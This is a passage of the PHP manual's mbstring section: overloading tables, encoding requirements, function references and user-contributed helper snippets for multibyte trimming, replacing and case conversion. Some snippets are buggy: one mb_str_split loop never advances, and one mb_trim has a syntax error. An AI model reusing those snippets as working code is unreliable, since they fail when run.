2 | stripos() | mb_stripos()
2 | strripos() | mb_strripos()
2 | strstr() | mb_strstr()
2 | stristr() | mb_stristr()
2 | strrchr() | mb_strrchr()
2 | substr_count() | mb_substr_count()
4 | ereg() | mb_ereg()
4 | eregi() | mb_eregi()
4 | ereg_replace() | mb_ereg_replace()
4 | eregi_replace() | mb_eregi_replace()
4 | split() | mb_split()

Note:

It is not recommended to use the function overloading option in the per-directory context, because it's not confirmed yet to be stable enough in a production environment and may lead to undefined behaviour.

User Contributed Notes

zeddix at freenet dot de 15-May-2011 10:43
Here a small helpful function to convert a php file for multi byte use:
<?php
    $filename = 'header.php'; // File name

    $search[] = 'mail(';    $replace[] = 'mb_send_mail(';
    $search[] = 'strlen(';    $replace[] = 'mb_strlen(';
    $search[] = 'strpos(';    $replace[] = 'mb_strpos(';
    $search[] = 'strrpos(';    $replace[] = 'mb_strrpos(';
    $search[] = 'substr(';    $replace[] = 'mb_substr(';
    $search[] = 'strtolower(';    $replace[] = 'mb_strtolower(';
    $search[] = 'strtoupper(';    $replace[] = 'mb_strtoupper(';
    $search[] = 'stripos(';    $replace[] = 'mb_stripos(';
    $search[] = 'strstr(';    $replace[] = 'mb_strstr(';
    $search[] = 'stristr(';    $replace[] = 'mb_stristr(';
    $search[] = 'strrchr(';    $replace[] = 'mb_strrchr(';
    $search[] = 'substr_count(';    $replace[] = 'mb_substr_count(';
    $search[] = 'ereg(';    $replace[] = 'mb_ereg(';
    $search[] = 'eregi(';    $replace[] = 'mb_eregi(';
    $search[] = 'ereg_replace(';    $replace[] = 'mb_ereg_replace(';
    $search[] = 'eregi_replace(';    $replace[] = 'mb_eregi_replace(';
    $search[] = 'split(';    $replace[] = 'mb_split(';
    $file = file_get_contents($filename);
    $file = str_replace($search,$replace,$file);
    file_put_contents($filename,$file);
?>
Oliver Baltz 26-Jul-2010 02:25
In case you need to (de)activate the overloading for a specific directory, try setting an appropriate php_admin_value in your httpd.conf, e.g.

<Directory ...>
   ...
   php_admin_value mbstring.func_overload 7
</Directory>

I'm not 100% sure if one can rely on that, but it seems to work for me.
andrew 21-May-2009 02:38
It seems in php 5.2.7 - 5.2.9 under windows mbstring overloading not working in .htaccess files. Apache v.2.2.
Works only in php.ini, this is not convinient in some situations.
Supported Character Encodings
PHP Character Encoding Requirements
Multibyte String


PHP Character Encoding Requirements

Encodings of the following types are safely used with PHP.

  • A singlebyte encoding,

    • which has ASCII-compatible (ISO646 compatible) mappings for the characters in range of 00h to 7fh.

  • A multibyte encoding,

    • which has ASCII-compatible mappings for the characters in range of 00h to 7fh.
    • which don't use ISO2022 escape sequences.
    • which don't use a value from 00h to 7fh in any of the compounded bytes that represents a single character.

These are examples of character encodings that are unlikely to work with PHP.

JIS, SJIS, ISO-2022-JP, BIG-5

Although PHP scripts written in any of those encodings might not work, especially in the case where encoded strings appear as identifiers or literals in the script, you can almost avoid using these encodings by setting up the mbstring's transparent encoding filter function for incoming HTTP queries.

Note:

It's highly discouraged to use SJIS, BIG5, CP936, CP949 and GB18030 for the internal encoding unless you are familiar with the parser, the scanner and the character encoding.

Note:

If you are connecting to a database with PHP, it is recommended that you use the same character encoding for both the database and the internal encoding for ease of use and better performance.

If you are using PostgreSQL, the character encoding used in the database and the one used in PHP may differ as it supports automatic character set conversion between the backend and the frontend.

User Contributed Notes

There are no user contributed notes for this page.
Function Overloading Feature
Multibyte String Functions
Multibyte String


Multibyte String Functions

References

Multibyte character encoding schemes and their related issues are fairly complicated, and are beyond the scope of this documentation. Please refer to the following URLs and other resources for further information regarding these topics.

  • Unicode materials

    » http://www.unicode.org/

  • Japanese/Korean/Chinese character information

    » http://examples.oreilly.com/cjkvinfo/doc/cjk.inf

Table of Contents

  • mb_check_encoding — Check if the string is valid for the specified encoding
  • mb_convert_case — Perform case folding on a string
  • mb_convert_encoding — Convert character encoding
  • mb_convert_kana — Convert "kana" one from another ("zen-kaku", "han-kaku" and more)
  • mb_convert_variables — Convert character code in variable(s)
  • mb_decode_mimeheader — Decode string in MIME header field
  • mb_decode_numericentity — Decode HTML numeric string reference to character
  • mb_detect_encoding — Detect character encoding
  • mb_detect_order — Set/Get character encoding detection order
  • mb_encode_mimeheader — Encode string for MIME header
  • mb_encode_numericentity — Encode character to HTML numeric string reference
  • mb_encoding_aliases — Get aliases of a known encoding type
  • mb_ereg_match — Regular expression match for multibyte string
  • mb_ereg_replace — Replace regular expression with multibyte support
  • mb_ereg_search_getpos — Returns start point for next regular expression match
  • mb_ereg_search_getregs — Retrieve the result from the last multibyte regular expression match
  • mb_ereg_search_init — Setup string and regular expression for a multibyte regular expression match
  • mb_ereg_search_pos — Returns position and length of a matched part of the multibyte regular expression for a predefined multibyte string
  • mb_ereg_search_regs — Returns the matched part of a multibyte regular expression
  • mb_ereg_search_setpos — Set start point of next regular expression match
  • mb_ereg_search — Multibyte regular expression match for predefined multibyte string
  • mb_ereg — Regular expression match with multibyte support
  • mb_eregi_replace — Replace regular expression with multibyte support ignoring case
  • mb_eregi — Regular expression match ignoring case with multibyte support
  • mb_get_info — Get internal settings of mbstring
  • mb_http_input — Detect HTTP input character encoding
  • mb_http_output — Set/Get HTTP output character encoding
  • mb_internal_encoding — Set/Get internal character encoding
  • mb_language — Set/Get current language
  • mb_list_encodings — Returns an array of all supported encodings
  • mb_output_handler — Callback function converts character encoding in output buffer
  • mb_parse_str — Parse GET/POST/COOKIE data and set global variable
  • mb_preferred_mime_name — Get MIME charset string
  • mb_regex_encoding — Returns current encoding for multibyte regex as string
  • mb_regex_set_options — Set/Get the default options for mbregex functions
  • mb_send_mail — Send encoded mail
  • mb_split — Split multibyte string using regular expression
  • mb_strcut — Get part of string
  • mb_strimwidth — Get truncated string with specified width
  • mb_stripos — Finds position of first occurrence of a string within another, case insensitive
  • mb_stristr — Finds first occurrence of a string within another, case insensitive
  • mb_strlen — Get string length
  • mb_strpos — Find position of first occurrence of string in a string
  • mb_strrchr — Finds the last occurrence of a character in a string within another
  • mb_strrichr — Finds the last occurrence of a character in a string within another, case insensitive
  • mb_strripos — Finds position of last occurrence of a string within another, case insensitive
  • mb_strrpos — Find position of last occurrence of a string in a string
  • mb_strstr — Finds first occurrence of a string within another
  • mb_strtolower — Make a string lowercase
  • mb_strtoupper — Make a string uppercase
  • mb_strwidth — Return width of string
  • mb_substitute_character — Set/Get substitution character
  • mb_substr_count — Count the number of substring occurrences
  • mb_substr — Get part of string

User Contributed Notes

rawsrc at gmail dot com 09-Aug-2011 02:36
Hi,

For those who are looking for mb_str_replace, here's a simple function :
<?php
function mb_str_replace($needle, $replacement, $haystack) {
   return implode($replacement, mb_split($needle, $haystack));
}
?>
I haven't found a simpliest way to proceed :-)
efesar 28-Jan-2011 02:21
This small mb_trim function works for me.

<?php
function mb_trim( $string )
{
    $string = preg_replace( "/(^\s+)|(\s+$)/us", "", $string );

    return $string;
}
?>
johannesponader at dontspamme dot googlemail dot co 17-Oct-2010 09:46
Please note that when migrating code to handle UTF-8 encoding, not only the functions mentioned here are useful, but also the function htmlentities() has to be changed to htmlentities($var, ENT_COMPAT, "UTF-8") or similar. I didn't scan the manual for it, but there could be some more functions that need adjustments like this.
phpnet at rcpt dot at 19-Aug-2010 07:46
<?php
/**
* Multibyte safe version of trim()
* Always strips whitespace characters (those equal to \s)
*
* @author Peter Johnson
* @email phpnet@rcpt.at
* @param $string The string to trim
* @param $chars Optional list of chars to remove from the string ( as per trim() )
* @param $chars_array Optional array of preg_quote'd chars to be removed
* @return string
*/
public static function mb_trim( $string, $chars = "", $chars_array = array() )
{
    for( $x=0; $x<iconv_strlen( $chars ); $x++ ) $chars_array[] = preg_quote( iconv_substr( $chars, $x, 1 ) );
    $encoded_char_list = implode( "|", array_merge( array( "\s","\t","\n","\r", "\0", "\x0B" ), $chars_array ) );

    $string = mb_ereg_replace( "^($encoded_char_list)*", "", $string );
    $string = mb_ereg_replace( "($encoded_char_list)*$", "", $string );
    return $string;
}
?>
mt at mediamedics dot nl 17-Dec-2009 05:52
A multibyte one-to-one alternative for the str_split function (http://php.net/manual/en/function.str-split.php):

<?php
    function mb_str_split($string, $split_length = 1){

        mb_internal_encoding('UTF-8');
        mb_regex_encoding('UTF-8');

        $split_length = ($split_length <= 0) ? 1 : $split_length;

        $mb_strlen = mb_strlen($string, 'utf-8');

        $array = array();

        for($i = 0; $i < $mb_strlen; $i + $split_length){

            $array[] = mb_substr($string, $i, $split_length);
        }

        return $array;

    }
?>
peter AT(no spam) dezzignz dot com 29-Oct-2009 04:26
The function trim() has not failed me so far in my multibyte applications, but in case one needs a truly multibyte function, here it is. The nice thing is that the character to remove can be whitespace or any other specified character, even a multibyte character.

<?php

// multibyte string split

function mbStringToArray ($str) {
    if (empty($str)) return false;
    $len = mb_strlen($str);
    $array = array();
    for ($i = 0; $i < $len; $i++) {
        $array[] = mb_substr($str, $i, 1);
        }
    return $array;
    }

// removes $rem at both ends

function mb_trim ($str, $rem = ' ') {
    if (empty($str)) return false;
    // convert to array
    $arr = mbStringToArray($str);
    $len = count($arr);
    // left side
    for ($i = 0; $i < $len; $i++) {
        if ($arr[$i] === $rem) $arr[$i] = '';
        else break;
        }
    // right side
    for ($i = $len-1; $i >= 0; $i--) {
        if ($arr[$i] === $rem) $arr[$i] = '';
        else break;
        }
    // convert to string
    return implode ('', $arr);
    }

?>
roydukkey at roydukkey dot com 22-Oct-2009 09:31
This would be one way to create a multibyte substr_replace function

<?php
function mb_substr_replace($output, $replace, $posOpen, $posClose) {
        return mb_substr($output, 0, $posOpen).$replace.mb_substr($output, $posClose+1);
    }
?>
sakai at d4k dot net 26-Jun-2009 05:46
I hope this mb_str_replace will work for arrays.  Please use mb_internal_encoding() beforehand, if you need to change the encoding.

Thanks to marc at ermshaus dot org for the original.

<?php

if(!function_exists('mb_str_replace')) {

    function mb_str_replace($search, $replace, $subject) {

        if(is_array($subject)) {
            $ret = array();
            foreach($subject as $key => $val) {
                $ret[$key] = mb_str_replace($search, $replace, $val);
            }
            return $ret;
        }

        foreach((array) $search as $key => $s) {
            if($s == '') {
                continue;
            }
            $r = !is_array($replace) ? $replace : (array_key_exists($key, $replace) ? $replace[$key] : '');
            $pos = mb_strpos($subject, $s);
            while($pos !== false) {
                $subject = mb_substr($subject, 0, $pos) . $r . mb_substr($subject, $pos + mb_strlen($s));
                $pos = mb_strpos($subject, $s, $pos + mb_strlen($r));
            }
        }

        return $subject;

    }

}

?>
mitgath at gmail dot com 30-Apr-2009 06:26
according to:
http://bugs.php.net/bug.php?id=21317
here's missing function

<?php
function mb_str_pad ($input, $pad_length, $pad_string, $pad_style, $encoding="UTF-8") {
   return str_pad($input,
strlen($input)-mb_strlen($input,$encoding)+$pad_length, $pad_string, $pad_style);
}
?>
Ben XO 16-Nov-2008 05:14
PHP5 has no mb_trim(), so here's one I made. It work just as trim(), but with the added bonus of PCRE character classes (including, of course, all the useful Unicode ones such as \pZ).

Unlike other approaches that I've seen to this problem, I wanted to emulate the full functionality of trim() - in particular, the ability to customise the character list.

<?php
    /**
     * Trim characters from either (or both) ends of a string in a way that is
     * multibyte-friendly.
     *
     * Mostly, this behaves exactly like trim() would: for example supplying 'abc' as
     * the charlist will trim all 'a', 'b' and 'c' chars from the string, with, of
     * course, the added bonus that you can put unicode characters in the charlist.
     *
     * We are using a PCRE character-class to do the trimming in a unicode-aware
     * way, so we must escape ^, \, - and ] which have special meanings here.
     * As you would expect, a single \ in the charlist is interpretted as
     * "trim backslashes" (and duly escaped into a double-\ ). Under most circumstances
     * you can ignore this detail.
     *
     * As a bonus, however, we also allow PCRE special character-classes (such as '\s')
     * because they can be extremely useful when dealing with UCS. '\pZ', for example,
     * matches every 'separator' character defined in Unicode, including non-breaking
     * and zero-width spaces.
     *
     * It doesn't make sense to have two or more of the same character in a character
     * class, therefore we interpret a double \ in the character list to mean a
     * single \ in the regex, allowing you to safely mix normal characters with PCRE
     * special classes.
     *
     * *Be careful* when using this bonus feature, as PHP also interprets backslashes
     * as escape characters before they are even seen by the regex. Therefore, to
     * specify '\\s' in the regex (which will be converted to the special character
     * class '\s' for trimming), you will usually have to put *4* backslashes in the
     * PHP code - as you can see from the default value of $charlist.
     *
     * @param string
     * @param charlist list of characters to remove from the ends of this string.
     * @param boolean trim the left?
     * @param boolean trim the right?
     * @return String
     */
    function mb_trim($string, $charlist='\\\\s', $ltrim=true, $rtrim=true)
    {
        $both_ends = $ltrim && $rtrim;

        $char_class_inner = preg_replace(
            array( '/[\^\-\]\\\]/S', '/\\\{4}/S' ),
            array( '\\\\\\0', '\\' ),
            $charlist
        );

        $work_horse = '[' . $char_class_inner . ']+';
        $ltrim && $left_pattern = '^' . $work_horse;
        $rtrim && $right_pattern = $work_horse . '$';

        if($both_ends)
        {
            $pattern_middle = $left_pattern . '|' . $right_pattern;
        }
        elseif($ltrim)
        {
            $pattern_middle = $left_pattern;
        }
        else
        {
            $pattern_middle = $right_pattern;
        }

        return preg_replace("/$pattern_middle/usSD", '', $string) );
    }
?>
marc at ermshaus dot org 03-Oct-2008 03:05
A small correction to patrick at hexane dot org's mb_str_replace function. The original function does not work as intended in case $replacement contains $needle.

<?php
function mb_str_replace($needle, $replacement, $haystack)
{
    $needle_len = mb_strlen($needle);
    $replacement_len = mb_strlen($replacement);
    $pos = mb_strpos($haystack, $needle);
    while ($pos !== false)
    {
        $haystack = mb_substr($haystack, 0, $pos) . $replacement
                . mb_substr($haystack, $pos + $needle_len);
        $pos = mb_strpos($haystack, $needle, $pos + $replacement_len);
    }
    return $haystack;
}
?>
patrick at hexane dot org 27-Jun-2008 08:18
I wonder why there isn't a mb_str_replace().  Here's one for now:

function mb_str_replace( $needle, $replacement, $haystack ) {
  $needle_len = mb_strlen($needle);
  $pos = mb_strpos( $haystack, $needle);
  while (!($pos ===false)) {
    $front = mb_substr( $haystack, 0, $pos );
    $back  = mb_substr( $haystack, $pos + $needle_len);
    $haystack = $front.$replacement.$back;
    $pos = mb_strpos( $haystack, $needle);
  }
  return $haystack;
}
Smelly 25-Apr-2007 10:09
Below is some code to output a UTF-8 encoded CSV in a way understandable by Excel. It requires iconv instead of mbstring.

header("Content-type: application/octet-stream");
header("Content-Transfer-Encoding: binary");
header("Content-Disposition: attachment; filename=report.xls");

// assume $tmpString contains UTF-8 encoded CSV:
$tmpString =  iconv ( 'UTF-8', 'UTF-16LE//IGNORE', $tmpString );

print chr(255).chr(254).$tmpString;
chris at maedata dot com 24-Apr-2007 09:50
The opposite of what Eugene Murai wrote in a previous comment is true when importing/uploading a file. For instance, if you export an Excel spreadsheet using the Save As Unicode Text option, you can use the following to convert it to UTF-8 after uploading:

//Convert file to UTF-8 in case Windows mucked it up
$file = explode( "\n", mb_convert_encoding( trim( file_get_contents( $_FILES['file']['tmp_name'] ) ), 'UTF-8', 'UTF-16' ) );
mdoocy at u dot washington dot edu 14-Mar-2007 10:30
Note that some of the multi-byte functions run in O(n) time, rather than constant time as is the case for their single-byte equivalents. This includes any functionality requiring access at a specific index, since random access is not possible in a string whose number of bytes will not necessarily match the number of characters. Affected functions include: mb_substr(), mb_strstr(), mb_strcut(), mb_strpos(), etc.
motin at demomusic dot nu 16-Feb-2007 05:24
Follow up on last note from 2007-jan-20: http://se2.php.net/manual/en/function.mb-strlen.php#72979

There is the correct way of simulating singlebyte strlen as well as some pitfalls to watch out for when developing in a mb-func_overload:ed environment.
motin at demomusic dot nu 19-Jan-2007 05:12
As peter dot albertsson at spray dot se already pointed out, overloading strlen may break code that handles binary data and relies upon strlen for bytelengths.

The problem occurs when a file is filled with a string using fwrite in the following manner:

$len = strlen($data);
fwrite($fp, $data, $len);

fwrite takes amount of bytes as the third parameter, but mb_strlen returns the amount of characters in the string. Since multibyte characters are possibly more than one byte in length each - this will result in that the last characters of $data never gets written to the file.

After hours of investigating why PEAR::Cache_Lite didn't work - the above is what I found.

I made an attempt at using single byte functions, but it doesn't work. Posting here anyway in case it helps someone else:

/**
* PHP Singe byte functions simulation (non successful)
*
* Usage: sb_string(functionname, arg1, arg2, etc);
* Example: sb_string("strlen", "tuöéä"); returns 8 (should...)
*/
function sb_string() {

  $arguments = func_get_args();

  $func_overloading = ini_get("mbstring.func_overload");

  ini_set("mbstring.func_overload", 0);

  $ret = call_user_func_array(array_shift($arguments), $arguments);

  ini_set("mbstring.func_overload", $func_overloading);

  return $ret;

}
pdezwart .at. snocap 10-Oct-2006 11:28
If you are trying to emulate the UnicodeEncoding.Unicode.GetBytes() function in .NET, the encoding you want to use is: UCS-2LE
hayk at mail dot ru 17-Aug-2006 12:36
Since PHP 5.1.0 and PHP 4.4.2 there is an Armenian ArmSCII-8 (ArmSCII-8, ArmSCII8, ARMSCII-8, ARMSCII8) encoding avaliable.
daniel at softel dot jp 24-Jul-2006 04:41
Note that although "multi-byte" hints at total internationalization, the mb_ API was designed by a Japanese person to support the Japanese language.

Some of the functions, for example mb_convert_kana(), make absolutely no sense outside of a Japanese language environment.

It should perhaps be considered "lucky" if the functions work with non-Japanese multi-byte languages.

I don't mean any disrespect to the mb_ API because I'm using it everyday and I appreciate its usefulness, but maybe a better name would be the jp_ API.
Aardvark 13-Mar-2006 11:37
Since not all hosted servces currently support the multi-byte function set, it may still be necessary to process Unicode strings using standard single byte functions.  The function at the following link - http://www.kanolife.com/escape/2006/03/php-unicode-processing.html - shows by example how to do this.  While this only covers UTF-8, the standard PHP function "iconv" allows conversion into and out of UTF-8 if strings need to be input or output in other encodings.
peter kehl 09-Mar-2006 08:34
UTF-16LE solution for CSV for Excel by Eugene Murai works well:
$unicode_str_for_Excel = chr(255).chr(254).mb_convert_encoding( $utf8_str, 'UTF-16LE', 'UTF-8');

However, then Excel on Mac OS X doesn't identify columns properly and its puts each whole row in its own cell. In order to fix that, use TAB "\\t" character as CSV delimiter rather than comma or colon.

You may also want to use HTTP encoding header, such as
header( "Content-type: application/vnd.ms-excel; charset=UTF-16LE" );
14-Aug-2005 07:24
get the string octet-size, when mbstring.func_overload is set to 2 :

<?php
function str_sizeof($string) {
    return count(preg_split("`.`", $string)) - 1 ;
}
?>

answering to peter albertsson, once you got your data octet-size, you can access each octet with something
$string[0] ... $string[$size-1], since the [ operator doesn't complies with multibytes strings.
peter dot albertsson at spray dot se 21-May-2005 03:43
Setting mbstring.func_overload = 2 may break your applications that deal with binary data.

After having set mbstring.func_overload = 2 and  mbstring.internal_encoding = UTF-8 I can't even read a binary file and print/echo it to output without corrupting it.
nzkiwi at NOSPAMmte dot biglobe dot ne dot jp 13-Apr-2005 04:37
A friend has pointed out that the entry
"mbstring.http_input PHP_INI_ALL" in Table 1 on the mbstring page appears to be wrong: above Example 4 it says that "There is no way to control HTTP input character conversion from PHP script. To disable HTTP input character conversion, it has to be done in php.ini".
Also the table shows the old-PHP-version defaults:
;; Disable HTTP Input conversion
mbstring.http_input = pass  *BUT* (for PHP 4.3.0 or higher)
;; Disable HTTP Input conversion
mbstring.encoding_translation = Off
Eugene Murai 23-Feb-2005 10:20
PHP can input and output Unicode, but a little different from what Microsoft means: when Microsoft says "Unicode", it unexplicitly means little-endian UTF-16 with BOM(FF FE = chr(255).chr(254)), whereas PHP's "UTF-16" means big-endian with BOM. For this reason, PHP does not seem to be able to output Unicode CSV file for Microsoft Excel. Solving this problem is quite simple: just put BOM infront of UTF-16LE string.

Example:

$unicode_str_for_Excel = chr(255).chr(254).mb_convert_encoding( $utf8_str, 'UTF-16LE', 'UTF-8');
Geoffrey 01-Feb-2005 12:59
For Windows users php_mbstring can be added as follows:-

if you have dowloaded  the "short" version of PHP,
(php-4.3.10-installer.exe), download the full version .
(php-4.3.10-Win32.zip)

unzip it, find php_mbstring.dll in
f:\php-4.3.10-Win32\extensions, and copy it across to your
php\extensions directory

use Notepad to open your PHP.INI

change the extension_dir line to read
extension_dir = "e:\php\extensions\"  (or whatever your
directory is called)

remove the semi-colon on line
 ; extension=php_mbstring.dll

save PHP.INI,  restart PHP
PHP Character Encoding Requirements
mb_check_encoding
Multibyte String


Check if the string is valid for the specified encoding

Multibyte String Functions
mb_convert_case
Multibyte String Functions
PHP Manual

mb_check_encoding

(PHP 4 >= 4.4.3, PHP 5 >= 5.1.3)

mb_check_encoding — Check if the string is valid for the specified encoding

Description

bool mb_check_encoding ([ string $var = NULL [, string $encoding = mb_internal_encoding() ]] )

Checks if the specified byte stream is valid for the specified encoding. It is useful to prevent so-called "Invalid Encoding Attack".

Parameters

var

The byte stream to check. If it is omitted, this function checks all the input from the beginning of the request.

encoding

The expected encoding.

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

javalc6 at gmail dot com 24-Dec-2009 04:52
In order to check if a string is encoded correctly in utf-8, I suggest the following function, that implements the RFC3629 better than mb_check_encoding():

<?php
function check_utf8($str) {
    $len = strlen($str);
    for($i = 0; $i < $len; $i++){
        $c = ord($str[$i]);
        if ($c > 128) {
            if (($c > 247)) return false;
            elseif ($c > 239) $bytes = 4;
            elseif ($c > 223) $bytes = 3;
            elseif ($c > 191) $bytes = 2;
            else return false;
            if (($i + $bytes) > $len) return false;
            while ($bytes > 1) {
                $i++;
                $b = ord($str[$i]);
                if ($b < 128 || $b > 191) return false;
                $bytes--;
            }
        }
    }
    return true;
} // end of check_utf8
?>
jbricci at ya-right dot com 01-Mar-2009 06:52
This function does not check for bad byte sequence(s), it only checks if the byte stream is valid. If you want to verify a encoded string is valid, (IE: does not contain any bad byte sequences do the following...

<?php

/* check a strings encoded value */

function checkEncoding ( $string, $string_encoding )
{
    $fs = $string_encoding == 'UTF-8' ? 'UTF-32' : $string_encoding;

    $ts = $string_encoding == 'UTF-32' ? 'UTF-8' : $string_encoding;

    return $string === mb_convert_encoding ( mb_convert_encoding ( $string, $fs, $ts ), $ts, $fs );
}

/* test 1 variables */

$string = "\x00\x81";

$encoding = "Shift_JIS";

/* test 1 mb_check_encoding (test for bad byte stream) */

if ( true === mb_check_encoding ( $string, $encoding ) )
{
    echo 'valid (' . $encoding . ') encoded byte stream!<br />';
}
else
{
    echo 'invalid (' . $encoding . ') encoded byte stream!<br />';
}

/* test 1 checkEncoding (test for bad byte sequence(s)) */

if ( true === checkEncoding ( $string, $encoding ) )
{
    echo 'valid (' . $encoding . ') encoded byte sequence!<br />';
}
else
{
    echo 'invalid (' . $encoding . ') encoded byte sequence!<br />';
}

/* test 2 */

/* test 2 variables */

$string = "\x00\xE3";

$encoding = "UTF-8";

/* test 2 mb_check_encoding (test for bad byte stream) */

if ( true === mb_check_encoding ( $string, $encoding ) )
{
    echo 'valid (' . $encoding . ') encoded byte stream!<br />';
}
else
{
    echo 'invalid (' . $encoding . ') encoded byte stream!<br />';
}

/* test 2 checkEncoding (test for bad byte sequence(s)) */

if ( true === checkEncoding ( $string, $encoding ) )
{
    echo 'valid (' . $encoding . ') encoded byte sequence!<br />';
}
else
{
    echo 'invalid (' . $encoding . ') encoded byte sequence!<br />';
}

?>
Multibyte String Functions
mb_convert_case
Multibyte String Functions


Perform case folding on a string

mb_check_encoding
mb_convert_encoding
Multibyte String Functions
PHP Manual

mb_convert_case

(PHP 4 >= 4.3.0, PHP 5)

mb_convert_case — Perform case folding on a string

Description

string mb_convert_case ( string $str , int $mode = MB_CASE_UPPER [, string $encoding = mb_internal_encoding() ] )

Performs case folding on a string, converted in the way specified by mode.

Parameters

str

The string being converted.

mode

The mode of the conversion. It can be one of MB_CASE_UPPER, MB_CASE_LOWER, or MB_CASE_TITLE.

encoding

The encoding parameter is the character encoding. If it is omitted, the internal character encoding value will be used.

Return Values

A case folded version of string converted in the way specified by mode.

Unicode

By contrast to the standard case folding functions such as strtolower() and strtoupper(), case folding is performed on the basis of the Unicode character properties. Thus the behaviour of this function is not affected by locale settings and it can convert any characters that have 'alphabetic' property, such as A-umlaut (Ä).

For more information about the Unicode properties, please see » http://www.unicode.org/unicode/reports/tr21/.

Examples

Example #1 mb_convert_case() example

<?php
$str = "mary had a Little lamb and she loved it so";
$str = mb_convert_case($str, MB_CASE_UPPER, "UTF-8");
echo $str; // Prints MARY HAD A LITTLE LAMB AND SHE LOVED IT SO
$str = mb_convert_case($str, MB_CASE_TITLE, "UTF-8");
echo $str; // Prints Mary Had A Little Lamb And She Loved It So
?>

Example #2 mb_convert_case() example with non-Latin UTF-8 text

<?php
$str = "Τάχιστη αλώπηξ βαφής ψημένη γη, δρασκελίζει υπέρ νωθρού κυνός";
$str = mb_convert_case($str, MB_CASE_UPPER, "UTF-8");
echo $str; // Prints ΤΆΧΙΣΤΗ ΑΛΏΠΗΞ ΒΑΦΉΣ ΨΗΜΈΝΗ ΓΗ, ΔΡΑΣΚΕΛΊΖΕΙ ΥΠΈΡ ΝΩΘΡΟΎ ΚΥΝΌΣ
$str = mb_convert_case($str, MB_CASE_TITLE, "UTF-8");
echo $str; // Prints Τάχιστη Αλώπηξ Βαφήσ Ψημένη Γη, Δρασκελίζει Υπέρ Νωθρού Κυνόσ
?>

See Also

  • mb_strtolower() - Make a string lowercase
  • mb_strtoupper() - Make a string uppercase
  • strtolower() - Make a string lowercase
  • strtoupper() - Make a string uppercase
  • ucfirst() - Make a string's first character uppercase
  • ucwords() - Uppercase the first character of each word in a string

User Contributed Notes

cataphract at php dot net 26-Jul-2010 11:06
This is a variation of mb_convert_case that works only for UTF-8 strings and that will not convert to lowercase anything.

This avoids turning "AAA aaa" into "Aaa Aaa"; it maps "AAA aaa" into ""AAA Aaa" instead.

<?php
function mb_convert_case_utf8_variation($s) {
    $arr = preg_split("//u", $s, -1, PREG_SPLIT_NO_EMPTY);
    $result = "";
    $mode = false;
    foreach ($arr as $char) {
        $res = preg_match(
            '/\\p{Mn}|\\p{Me}|\\p{Cf}|\\p{Lm}|\\p{Sk}|\\p{Lu}|\\p{Ll}|'.
            '\\p{Lt}|\\p{Sk}|\\p{Cs}/u', $char) == 1;
        if ($mode) {
            if (!$res)
                $mode = false;
        }
        elseif ($res) {
            $mode = true;
            $char = mb_convert_case($char, MB_CASE_TITLE, "UTF-8");
        }
        $result .= $char;
    }

    return $result;
}
?>
agash at freemail dot hu 19-Jul-2009 03:27
as the previouly posted version of this function doesn't handle UTF-8 characters, I simply tried to replace ucfirst to mb_convert_case, but then any previous case foldings were lost while looping through delimiters.
So I decided to do an mb_convert_case on the input string (it also deals with words is uppercase wich may also be problematic when doing case-sensitive search), and do the rest of checking after that.

As with mb_convert_case, words are capitalized, I also added lowercase convertion for the exceptions, but, for the above mentioned reason, I left ucfirst unchanged.

Now it works fine for utf-8 strings as well, except for string delimiters followed by an UTF-8 character ("Mcádám" is unchanged, while "mcdunno's" is converted to "McDunno's" and "ökrös-TÓTH éDUa" in also put in the correct form)

I use it for checking user input on names and addresses, so exceptions list contains some hungarian words too.

<?php

function titleCase($string, $delimiters = array(" ", "-", ".", "'", "O'", "Mc"), $exceptions = array("út", "u", "s", "és", "utca", "tér", "krt", "körút", "sétány", "I", "II", "III", "IV", "V", "VI", "VII", "VIII", "IX", "X", "XI", "XII", "XIII", "XIV", "XV", "XVI", "XVII", "XVIII", "XIX", "XX", "XXI", "XXII", "XXIII", "XXIV", "XXV", "XXVI", "XXVII", "XXVIII", "XXIX", "XXX" )) {
       /*
        * Exceptions in lower case are words you don't want converted
        * Exceptions all in upper case are any words you don't want converted to title case
        *   but should be converted to upper case, e.g.:
        *   king henry viii or king henry Viii should be King Henry VIII
        */
        $string = mb_convert_case($string, MB_CASE_TITLE, "UTF-8");

       foreach ($delimiters as $dlnr => $delimiter){
               $words = explode($delimiter, $string);
               $newwords = array();
               foreach ($words as $wordnr => $word){

                       if (in_array(mb_strtoupper($word, "UTF-8"), $exceptions)){
                               // check exceptions list for any words that should be in upper case
                               $word = mb_strtoupper($word, "UTF-8");
                       }
                       elseif (in_array(mb_strtolower($word, "UTF-8"), $exceptions)){
                               // check exceptions list for any words that should be in upper case
                               $word = mb_strtolower($word, "UTF-8");
                       }

                       elseif (!in_array($word, $exceptions) ){
                               // convert to uppercase (non-utf8 only)

                               $word = ucfirst($word);

                       }
                       array_push($newwords, $word);
               }
               $string = join($delimiter, $newwords);
       }//foreach
       return $string;
}

?>
the at psychoticneurotic dot com 08-Apr-2009 10:03
Building upon Justin's and Alex's work...

This function allows you to specify which delimiter(s) to explode on (not just the default space). Now you can correctly capitalize Irish names and hyphenated words (if you want)!

<?php
function titleCase($string, $delimiters = array(" ", "-", "O'"), $exceptions = array("to", "a", "the", "of", "by", "and", "with", "II", "III", "IV", "V", "VI", "VII", "VIII", "IX", "X")) {
       /*
        * Exceptions in lower case are words you don't want converted
        * Exceptions all in upper case are any words you don't want converted to title case
        *   but should be converted to upper case, e.g.:
        *   king henry viii or king henry Viii should be King Henry VIII
        */
       foreach ($delimiters as $delimiter){
               $words = explode($delimiter, $string);
               $newwords = array();
               foreach ($words as $word){
                       if (in_array(strtoupper($word), $exceptions)){
                               // check exceptions list for any words that should be in upper case
                               $word = strtoupper($word);
                       } elseif (!in_array($word, $exceptions)){
                               // convert to uppercase
                               $word = ucfirst($word);
                       }
                       array_push($newwords, $word);
               }
               $string = join($delimiter, $newwords);
       }
       return $string;
}
?>
Justin 17-Dec-2008 08:42
Retouching Alex's example so it works:

function titleCase($string, $exceptions = array('to', 'a', 'the', 'of', 'by', 'and', 'with', 'UI', 'V','X')) {

        $words = explode(" ", $string);
        $newwords = array();
        foreach ($words as $word)
        {
            if (!in_array($word, $exceptions)) {

                $word = strtolower($word);
                $word = ucfirst($word);
            }
            array_push($newwords, $word);
        }
        return join(" ", $newwords);
    }

It doesn't work for Irish names, etc. So keep that in mind.
info at yasarnet dot com 03-Jul-2008 11:57
For my case following did the work to capitalize UTF-8 encoded string.

function capitalize($str, $encoding = 'UTF-8') {
